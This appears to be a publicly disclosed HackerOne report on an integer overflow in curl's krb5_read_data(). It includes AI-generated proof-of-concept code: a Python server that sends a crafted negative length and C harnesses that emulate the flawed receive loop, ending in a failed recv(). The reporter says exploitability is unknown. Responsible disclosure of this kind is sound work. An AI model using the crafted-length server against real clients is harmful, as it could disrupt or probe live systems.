HexBrain

curl · Report #3341476

int overflow in krb5_read_data() leads to (possible) massive `recv()` write

Informativestatus
lowseverity
17upvotes
18 Sept 2025disclosed

How it was found

Summary:

(Note: AI created the PoC, not the report.)

In the krb5_read_data() function here, there are two issues (one of which I am very surprised hasn't been caught before.)

Issue #1 is that this block can result in an int overflow, where the following check becomes invalid if the value is wrapped to a negative:

    len = (int)ntohl((uint32_t)len);
    if(len > CURL_MAX_INPUT_LENGTH)
      return CURLE_TOO_LARGE;

This will then seemingly completely mess up the logic here:

    char buffer[1024];
    nread = CURLMIN(len, (int)sizeof(buffer));
    result = socket_read(data, sockindex, buffer, (size_t)nread);

Since -1 (let's say is less than 1024, nread will be passed as (size_t)-1, which will wrap to a massive number.

This eventually makes its way down to Curl_conn_recv with data[1024] and nread == ~SIZE_MAX) here and so on and so on.

It seems that this will result in an OOB read, as the buffer is only 1024-bytes long, while nread is going to be massive.

Issue #2 is that this whole code seems broken. This do-while loop continues while len is non-zero. But then len=0 is passed to decode() here. As a random guess, I imagine curlx_dyn_len(&buf->buf) should be passed, not len.

Affected version

All of them since inception, it seems.

Steps To Reproduce:

Setting up a whole krb environment is extremely difficult and annoying. This PoC is much easier, demonstrating the issue, while emulating the same code:

repro_server.py:

#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

krb5_len_bug_harness.c:

// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static int connect_tcp(const char *host, const char *port) {
  struct addrinfo hints = {0}, *res = NULL;
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  int rc = getaddrinfo(host, port, &hints, &res);
  if (rc) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rc)); exit(1); }
  int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  if (fd < 0) { perror("socket"); exit(1); }
  if (connect(fd, res->ai_addr, res->ai_addrlen) < 0) { perror("connect"); exit(1); }
  freeaddrinfo(res);
  return fd;
}

static int socket_read_full(int fd, void *buf, size_t want) {
  uint8_t *p = buf; size_t got = 0;
  while (got < want) {
    ssize_t r = read(fd, p + got, want - got);
    if (r < 0) { if (errno == EINTR) continue; perror("read"); return -1; }
    if (r == 0) { fprintf(stderr, "eof\n"); return -1; }
    got += (size_t)r;
  }
  return 0;
}

// Stand-in for conn->mech->decode(...)
// We'll just report the length parameter we *received* and pretend to "decode" in place.
static int fake_decode(void *app_data, unsigned char *buf, int len, int data_prot, void *conn) {
  (void)app_data; (void)buf; (void)data_prot; (void)conn;
  fprintf(stderr, "fake_decode() was called with len=%d (should be >0 if correct)\n", len);
  // Return a positive length to mimic successful decode of existing buffer.
  return 1234;
}

int main(int argc, char **argv) {
  if (argc != 3) {
    fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
    return 2;
  }
  int fd = connect_tcp(argv[1], argv[2]);

  // --- Begin: mirror the buggy code’s control flow ---

  int len; // NOTE: intentionally 'int' to match the problematic code
  if (socket_read_full(fd, &len, sizeof(len)) != 0) return 1;

  if (len) {
    // network to host, then cast back to int (same as original)
    len = (int)ntohl((uint32_t)len);

    // Size check done against 'int' (problematic if sign bit set)
    const int CURL_MAX_INPUT_LENGTH = 100*1024*1024;
    if (len > CURL_MAX_INPUT_LENGTH) {
      fprintf(stderr, "too large\n");
      return 1;
    }
    // reset dynbuf (omitted; we’ll just malloc)
  } else {
    fprintf(stderr, "recv error (zero header)\n");
    return 1;
  }

  if (len < 0) {
    fprintf(stderr, "NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.\n");
  }

  unsigned char *dyn = NULL;
  size_t cap = 0;
  // Read loop that decrements len to zero
  while (len) {
    int nread = len < 1024 ? len : 1024; // CURLMIN(len, sizeof buffer)
    dyn = realloc(dyn, cap + (size_t)nread);
    if (!dyn) { perror("realloc"); return 1; }
    if (socket_read_full(fd, dyn + cap, (size_t)nread) != 0) return 1;
    cap += (size_t)nread;
    len -= nread;
  }

  // At this point 'len' is 0, but 'cap' is the actual number of bytes we read.
  fprintf(stderr, "after loop: actual_buffer_len=%zu, len_variable=%d\n", cap, len);

  int nread = fake_decode(NULL, dyn, len, /*data_prot*/0, NULL); // <-- passes 0
  if (nread < 0) { fprintf(stderr, "decode error\n"); return 1; }

  fprintf(stderr, "fake_decode returned %d; we would then set dynbuf length to that.\n", nread);
  free(dyn);
  close(fd);
  return 0;
}

Running them together:

python3 repro_server.py --port 9999 --netlen 0x80000010 & 
./krb5_len_bug_harness 127.0.0.1 9999

we get:

$ ./krb5_len_bug_harness 127.0.0.1 9999
client: ('127.0.0.1', 43974)  sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory

demonstrates that this code is broken.

Extra:

The question is now whether it is exploitable. I can give a solid: "I don't know".

Here is another PoC which we can test with:

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

// --- Minimal curl-like scaffolding ---
typedef enum {
  CURLE_OK = 0,
  CURLE_TOO_LARGE = 1,
  CURLE_RECV_ERROR = 2,
  CURLE_AGAIN = 3,
  CURLE_FAILED_INIT = 4,
  CURLE_BAD_FUNCTION_ARGUMENT = 5
} CURLcode;

#define CURL_MAX_INPUT_LENGTH (16 * 1024 * 1024) // 16 MiB for demo
#define CURLMIN(a,b) ((a) < (b) ? (a) : (b))

struct dynbuf {
  char *ptr;
  size_t len;
  size_t cap;
};

static void dyn_init(struct dynbuf *d) { d->ptr = NULL; d->len = d->cap = 0; }
static void dyn_reset(struct dynbuf *d) { d->len = 0; }
static int dyn_grow(struct dynbuf *d, size_t need) {
  if (d->cap - d->len >= need) return 0;
  size_t newcap = d->cap ? d->cap : 1024;
  while (newcap - d->len < need) {
    newcap *= 2;
  }
  char *np = (char*)realloc(d->ptr, newcap);
  if (!np) return -1;
  d->ptr = np; d->cap = newcap;
  return 0;
}
static CURLcode dyn_addn(struct dynbuf *d, const char *src, size_t n) {
  if (dyn_grow(d, n) != 0) return CURLE_RECV_ERROR;
  memcpy(d->ptr + d->len, src, n);
  d->len += n;
  return CURLE_OK;
}
static char* dyn_ptr(struct dynbuf *d) { return d->ptr; }
static size_t dyn_len(struct dynbuf *d) { return d->len; }
static void dyn_setlen(struct dynbuf *d, size_t n) { if (n <= d->cap) d->len = n; }

struct krb5buffer { struct dynbuf buf; size_t index; };

struct connectdata {
  int fd[2];
};

struct Curl_easy {
  struct connectdata *conn;
};

// --- Vulnerable helpers (mirroring the snippet) ---
static CURLcode Curl_conn_recv(struct Curl_easy *data, int sockindex,
                               char *buf, size_t blen, size_t *pnread) {
  (void)data;
  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel
  if (r < 0) {
    if (errno == EAGAIN || errno == EWOULDBLOCK) return CURLE_AGAIN;
    return CURLE_RECV_ERROR;
  }
  *pnread = (size_t)r;
  return CURLE_OK;
}

static CURLcode socket_read(struct Curl_easy *data, int sockindex, void *to, size_t len) {
  char *to_p = (char*)to;
  CURLcode result;
  size_t nread = 0;
  while (len > 0) {
    result = Curl_conn_recv(data, sockindex, to_p, len, &nread);
    if (result == CURLE_AGAIN) continue;
    if (result) return result;
    if (nread > len) return CURLE_RECV_ERROR;
    len -= nread;
    to_p += nread;
  }
  return CURLE_OK;
}

// --- The vulnerable function as in the snippet (bug preserved) ---
static CURLcode krb5_read_data_vuln(struct Curl_easy *data, int sockindex,
                                    struct krb5buffer *kbuf) {
  int len; // <-- signed
  CURLcode result;
  int nread;

  result = socket_read(data, sockindex, &len, sizeof(len));
  if (result) return result;

  if (len) {
    len = (int)ntohl((uint32_t)len); // potential negative value
    if (len > CURL_MAX_INPUT_LENGTH) // negative bypasses this check
      return CURLE_TOO_LARGE;
    dyn_reset(&kbuf->buf);
  } else {
    return CURLE_RECV_ERROR;
  }
  do {
    char buffer[1024]; // fixed stack buffer
    nread = CURLMIN(len, (int)sizeof(buffer)); // if len<0 -> nread<0
    result = socket_read(data, sockindex, buffer, (size_t)nread); // cast to huge size_t
    if (result) return result;
    result = dyn_addn(&kbuf->buf, buffer, (size_t)nread);
    if (result) return result;
    len -= nread;
  } while (len);

  // pretend-decode, but len is now 0 in this code path
  int dec = (int)dyn_len(&kbuf->buf);
  if (dec < 0) return CURLE_RECV_ERROR;
  dyn_setlen(&kbuf->buf, (size_t)dec);
  kbuf->index = 0;
  return CURLE_OK;
}

// --- Test harness ---
struct writer_args { int fd; int mode; };

static void* writer_thread(void *argp) {
  struct writer_args *a = (struct writer_args*)argp;
  uint32_t netlen;
  if (a->mode == 0) { // overflow: claim 0x80001000, send 4096 bytes
    uint32_t host = 0x80001000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    // send 4096 bytes
    size_t payload = 4096;
    char *buf = (char*)malloc(payload);
    memset(buf, 'A', payload);
    (void)send(a->fd, buf, payload, 0);
    free(buf);
    // keep the socket open briefly to encourage a single large recv
    usleep(100000);
  } else { // dos: claim huge, send very little then close
    uint32_t host = 0x80010000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    char tiny[8] = {0};
    (void)send(a->fd, tiny, sizeof(tiny), 0);
    // close to simulate peer disappearance
  }
  // Close writer end
  shutdown(a->fd, SHUT_WR);
  close(a->fd);
  return NULL;
}

static void set_blocking(int fd) {
  int fl = fcntl(fd, F_GETFL);
  if (fl >= 0) fcntl(fd, F_SETFL, fl & ~O_NONBLOCK);
}

int main(int argc, char **argv) {
  int mode = 0;
  if (argc > 1) {
    if (strcmp(argv[1], "overflow") == 0) mode = 0;
    else if (strcmp(argv[1], "dos") == 0) mode = 1;
    else {
      fprintf(stderr, "Usage: %s [overflow|dos]\n", argv[0]);
      return 2;
    }
  }

  int sv[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) {
    perror("socketpair");
    return 1;
  }
  set_blocking(sv[0]);
  set_blocking(sv[1]);

  pthread_t th;
  struct writer_args wa = {.fd = sv[1], .mode = mode};
  if (pthread_create(&th, NULL, writer_thread, &wa) != 0) {
    perror("pthread_create");
    return 1;
  }

  // client side
  struct connectdata conn = { .fd = { sv[0], -1 } };
  struct Curl_easy easy = { .conn = &conn };
  struct krb5buffer kbuf;
  dyn_init(&kbuf.buf);
  kbuf.index = 0;

  CURLcode rc = krb5_read_data_vuln(&easy, 0, &kbuf);

  printf("krb5_read_data_vuln returned code: %d\n", rc);

  // Clean up
  free(kbuf.buf.ptr);
  close(sv[0]);
  pthread_join(th, NULL);
  return 0;
}

When building this and running it as ./a.out poc, it does not cause any problem:

$ ./a overflow
krb5_read_data_vuln returned code: 2

So what's going on? The "problem" is this call:

  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel

With blen now effectively 18446744071562072064, the following is effectively called:

recv(fd, buf, 18446744071562072064, 0);

This fails because that is beyond even our whole stack, and recv() is smart enough on my system to not allow this; it fail with:

strerror(errno): Bad address

which, indeed means "The system detected an invalid pointer address in attempting to use a pointer argument of a call".

I have not investigated further whether it is possible to write an amount of memory which will satisfy the kernel's limitation here, and I don't know enough about other systems, and how they work.

In any case, I thought I would report this issue here instead of via a GH issue, because while it may be "unexploitable" to me, it may not be to others.

Impact

Summary:

OOM write due to int overflow, or possibly nothing at all (due to kernel restrictions of recv()).

Also the whole function looks broken (len stuff)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original